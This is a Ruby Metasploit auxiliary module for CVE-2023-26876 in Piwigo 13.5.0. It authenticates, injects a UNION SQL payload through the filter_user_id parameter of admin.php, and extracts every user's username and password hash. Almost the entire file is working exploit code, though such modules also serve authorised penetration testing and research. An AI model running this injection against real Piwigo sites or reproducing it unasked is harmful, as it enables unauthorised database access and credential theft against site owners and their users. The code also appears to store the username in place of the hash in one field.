161 lines
5.0 KiB
Ruby
161 lines
5.0 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::SQLi
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
require 'metasploit/framework/hashes'
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Piwigo CVE-2023-26876 Gather Credentials via SQL Injection ',
|
|
'Description' => %q{
|
|
This module allows an authenticated user to retrieve the usernames and encrypted passwords of other users in Piwigo through SQL injection using the (filter_user_id) parameter.
|
|
},
|
|
'Author' => [
|
|
'rodnt', # metasploit module
|
|
'Rodolfo Tavares', # vulnerability discovery
|
|
'Tempest Security, Henrique Arcoverde' # special thanks
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' => [
|
|
[ 'CVE', '2023-26876' ],
|
|
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-26876'],
|
|
],
|
|
'DisclosureDate' => '2023-04-21',
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'SideEffects' => [IOC_IN_LOGS],
|
|
'Reliability' => []
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI', [ true, 'The base path to Piwigo', '/' ]),
|
|
OptString.new('USERNAME', [ true, 'The username for authenticating to Piwigo', 'piwigo' ]),
|
|
OptString.new('PASSWORD', [ true, 'The password for authenticating to Piwigo', 'piwigo' ])
|
|
]
|
|
)
|
|
end
|
|
|
|
def check
|
|
login_page = target_uri.path.end_with?('index.php') ? normalize_uri(target_uri.path) : normalize_uri(target_uri.path, '/index.php')
|
|
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'keep_cookies' => true,
|
|
'uri' => login_page
|
|
)
|
|
|
|
if res && res.code == 200 && res.body.match(%r{themes/default/js/jquery.min.js\?v13.5.0})
|
|
return Exploit::CheckCode::Appears('The target is running Piwigo with version 13.5.0')
|
|
else
|
|
return Exploit::CheckCode::Safe('The target does not appear to be running Piwigo with vulnerable version')
|
|
end
|
|
rescue ::Rex::ConnectionError
|
|
return Exploit::CheckCode::Unknown("#{peer} - Connection failed")
|
|
end
|
|
|
|
def login
|
|
login_uri = target_uri.path.end_with?('identification.php') ? normalize_uri(target_uri.path) : normalize_uri(target_uri.path, '/identification.php')
|
|
print_status('Try to log in..')
|
|
|
|
login_res = send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => login_uri,
|
|
'keep_cookies' => true,
|
|
'vars_post' => {
|
|
'username' => datastore['USERNAME'],
|
|
'password' => datastore['PASSWORD'],
|
|
'login' => 'Login'
|
|
}
|
|
)
|
|
|
|
if login_res.code != 302 || login_res.body.include?('Invalid username or password!')
|
|
fail_with(Failure::NoAccess, "Couldn't log into Piwigo")
|
|
end
|
|
|
|
print_good('Successfully logged into Piwigo')
|
|
end
|
|
|
|
def test_vulnerable(response)
|
|
body_response = response.body.to_s
|
|
if body_response.include?('var filter_user_name = "pwn3d";')
|
|
print_good('Target is vulnerable')
|
|
return true
|
|
else
|
|
print_error('Target is NOT vulnerable')
|
|
return false
|
|
end
|
|
end
|
|
|
|
def dump_data(sqli)
|
|
creds_table = Rex::Text::Table.new(
|
|
'Header' => 'Piwigo Users',
|
|
'Indent' => 1,
|
|
'Columns' => ['username', 'hash']
|
|
)
|
|
results = sqli.run_sql('select group_concat(cast(concat_ws(0x3b,ifnull(username,repeat(0x31,0)),ifnull(password,repeat(0xd,0))) as binary)) from piwigo_users')
|
|
|
|
body_results = results.body.to_s
|
|
match = body_results.match(/var filter_user_name = "(.*?)";/)
|
|
if match
|
|
data = match[1]
|
|
data.split(',').each do |user_and_pw|
|
|
user, hash = user_and_pw.split(';', 2)
|
|
|
|
creds_table << [user, hash]
|
|
create_credential({
|
|
workspace_id: myworkspace_id,
|
|
origin_type: :service,
|
|
module_fullname: fullname,
|
|
username: user,
|
|
private_type: :nonreplayable_hash,
|
|
jtr_format: Metasploit::Framework::Hashes.identify_hash(hash),
|
|
private_data: user,
|
|
service_name: 'piwigo',
|
|
address: datastore['RHOST'],
|
|
port: datastore['RPORT'],
|
|
protocol: 'tcp',
|
|
status: Metasploit::Model::Login::Status::UNTRIED
|
|
})
|
|
end
|
|
rows_data = creds_table.rows.length
|
|
if rows_data > 1
|
|
print_status("Dump of usernames and hashes:\n")
|
|
print_line creds_table.to_s
|
|
end
|
|
end
|
|
end
|
|
|
|
def get_info
|
|
sqli = create_sqli(dbms: MySQLi::Common, opts: { hex_encode_strings: true }) do |payload|
|
|
send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'admin.php'),
|
|
'vars_get' => {
|
|
'page' => 'history',
|
|
'filter_image_id' => '1',
|
|
'filter_user_id' => "123123123 union all #{payload}"
|
|
}
|
|
})
|
|
end
|
|
|
|
if test_vulnerable(sqli.run_sql('select 0x70776e3364'))
|
|
dump_data(sqli)
|
|
end
|
|
end
|
|
|
|
def run
|
|
login
|
|
get_info
|
|
end
|
|
end
|